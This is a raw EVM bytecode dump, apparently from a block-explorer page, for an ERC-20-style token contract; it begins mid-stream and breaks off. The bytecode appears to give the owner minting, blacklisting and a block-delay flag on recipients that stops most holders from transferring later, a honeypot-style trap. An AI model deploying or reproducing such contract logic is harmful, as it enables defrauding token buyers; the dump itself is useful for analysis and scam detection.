fffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bd15743600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c0d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c4957600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c9757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d2257600080fd5b611d7482600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e0982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611edb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611fdf57fe5b8091505092915050565b600081600781905550919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612108576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219c565b61211b8382612f7990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000811515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156122e957600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156123fd57600080fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600160149054906101000a900460ff161515141515156124d457600080fd5b81600160146101000a81548160ff02191690831515021790555060019050919050565b6000811515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561255857600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d83604051808215151515815260200191505060405180910390a26001905092915050565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156126b15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128215760001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561271557600080fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561277457600080fd5b60001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806128155750600754600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b151561282057600080fd5b5b600160149054906101000a900460ff1680156128875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128e15750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612a1f576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612a1e5743600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a5b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a9657600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612ae457600080fd5b612b3682600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bcb82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600090505b8351811015612d725782600360008684815181101515612ca157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508381815181101515612d0a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d84604051808215151515815260200191505060405180910390a28080600101915050612c85565b600191505092915050565b6000612e0e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515612f8757fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612fd357805160ff1916838001178555613001565b82800160010185558215613001579182015b82811115613000578251825591602001919060010190612fe5565b5b50905061300e9190613012565b5090565b61303491905b80821115613030576000816000905550600101613018565b5090565b905600a165627a7a72305820014a06ff64bf85051571f305f7b6497d3a90fc1fd4f0dcbb3aaacb542aca3cfd0029

Deployed Bytecode

0x608060405260043610610127576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806264e2321461012c57806306fdde03146101b6578063095ea7b31461024657806318160ddd146102ab57806323b872dd146102d6578063313ce5671461035b57806340c10f191461038657806349b3d106146103d357806366188463146104185780636e81949d1461047d57806370a08231146104e4578063794be7071461053b5780638da5cb5b146105a257806395d89b41146105f95780639ceda54a146106895780639dd21928146106d0578063a9059cbb14610737578063b6fccf8a1461079c578063c67ed06b146107f3578063cb29c93b1461092e578063d73dd623146109b8578063dd62ed3e14610a1d575b600080fd5b34801561013857600080fd5b5061019c60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050610a94565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610b04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561020b5780820151818401526020810190506101f0565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025257600080fd5b50610291600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba2565b604051808215151515815260200191505060405180910390f35b3480156102b757600080fd5b506102c0610bb6565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b50610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bbc565b604051808215151515815260200191505060405180910390f35b34801561036757600080fd5b50610370610bd2565b6040518082815260200191505060405180910390f35b34801561039257600080fd5b506103d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b005b3480156103df57600080fd5b506103fe60048036038101908080359060200190929190505050610db4565b604051808215151515815260200191505060405180910390f35b34801561042457600080fd5b50610463600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e22565b604051808215151515815260200191505060405180910390f35b34801561048957600080fd5b506104ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e36565b604051808215151515815260200191505060405180910390f35b3480156104f057600080fd5b50610525600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea6565b6040518082815260200191505060405180910390f35b34801561054757600080fd5b50610588600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610eef565b604051808215151515815260200191505060405180910390f35b3480156105ae57600080fd5b506105b7610f5f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060557600080fd5b5061060e610f85565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064e578082015181840152602081019050610633565b50505050905090810190601f16801561067b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069557600080fd5b506106b6600480360381019080803515159060200190929190505050611023565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b5061071d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611091565b604051808215151515815260200191505060405180910390f35b34801561074357600080fd5b50610782600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611101565b604051808215151515815260200191505060405180910390f35b3480156107a857600080fd5b506107b1611115565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ff57600080fd5b50610914600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b604051808215151515815260200191505060405180910390f35b34801561093a57600080fd5b5061099e60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050611462565b604051808215151515815260200191505060405180910390f35b3480156109c457600080fd5b50610a03600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d2565b604051808215151515815260200191505060405180910390f35b348015610a2957600080fd5b50610a7e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e6565b6040518082815260200191505060405180910390f35b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610af257600080fd5b610afc838361156d565b905092915050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9a5780601f10610b6f57610100808354040283529160200191610b9a565b820191906000526020600020905b815481529060010190602001808311610b7d57829003601f168201915b505050505081565b6000610bae838361166d565b905092915050565b60005481565b6000610bc984848461175f565b90509392505050565b600c5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3457600080fd5b610c4981600054611fcb90919063ffffffff16565b600081905550610ca181600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fab8530f87dc9b59234c4623bf917212bb2536d647574c8e7e5da92c2ede0c9f8836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1257600080fd5b610e1b82611fe9565b9050919050565b6000610e2e8383611ff7565b905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9457600080fd5b610e9e8383612288565b905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4d57600080fd5b610f57838361239c565b905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561101b5780601f10610ff05761010080835404028352916020019161101b565b820191906000526020600020905b815481529060010190602001808311610ffe57829003601f168201915b505050505081565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108157600080fd5b61108a826124b0565b9050919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ef57600080fd5b6110f983836124f7565b905092915050565b600061110d838361260b565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60009054906101000a900460ff161515156111c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f494e495449414c495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600d60006101000a81548160ff02191690831515021790555087600a90805190602001906111f3929190612f92565b5086600b908051906020019061120a929190612f92565b5085600c8190555085600a0a8502600081905550600054600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000546040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663c9c6539630846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156113dc57600080fd5b505af11580156113f0573d6000803e3d6000fd5b505050506040513d602081101561140657600080fd5b8101908080519060200190929190505050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550979650505050505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114c057600080fd5b6114ca8383612c7d565b905092915050565b60006114de8383612d7d565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080600090505b8351811015611662578260046000868481518110151561159157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555083818151811015156115fa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d84604051808215151515815260200191505060405180910390a28080600101915050611575565b600191505092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118055750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119d45760001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561186957600080fd5b60001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156118c857600080fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561192757600080fd5b60001515600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806119c85750600754600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b15156119d357600080fd5b5b600160149054906101000a900460ff168015611a3a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a945750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bd2576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bd15743600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c0d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c4957600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c9757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d2257600080fd5b611d7482600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e0982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611edb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611fdf57fe5b8091505092915050565b600081600781905550919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612108576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219c565b61211b8382612f7990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000811515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156122e957600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156123fd57600080fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600160149054906101000a900460ff161515141515156124d457600080fd5b81600160146101000a81548160ff02191690831515021790555060019050919050565b6000811515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561255857600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d83604051808215151515815260200191505060405180910390a26001905092915050565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156126b15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128215760001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561271557600080fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561277457600080fd5b60001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806128155750600754600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b151561282057600080fd5b5b600160149054906101000a900460ff1680156128875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128e15750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612a1f576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612a1e5743600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a5b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a9657600080fd5b600860003373fffffffffffffff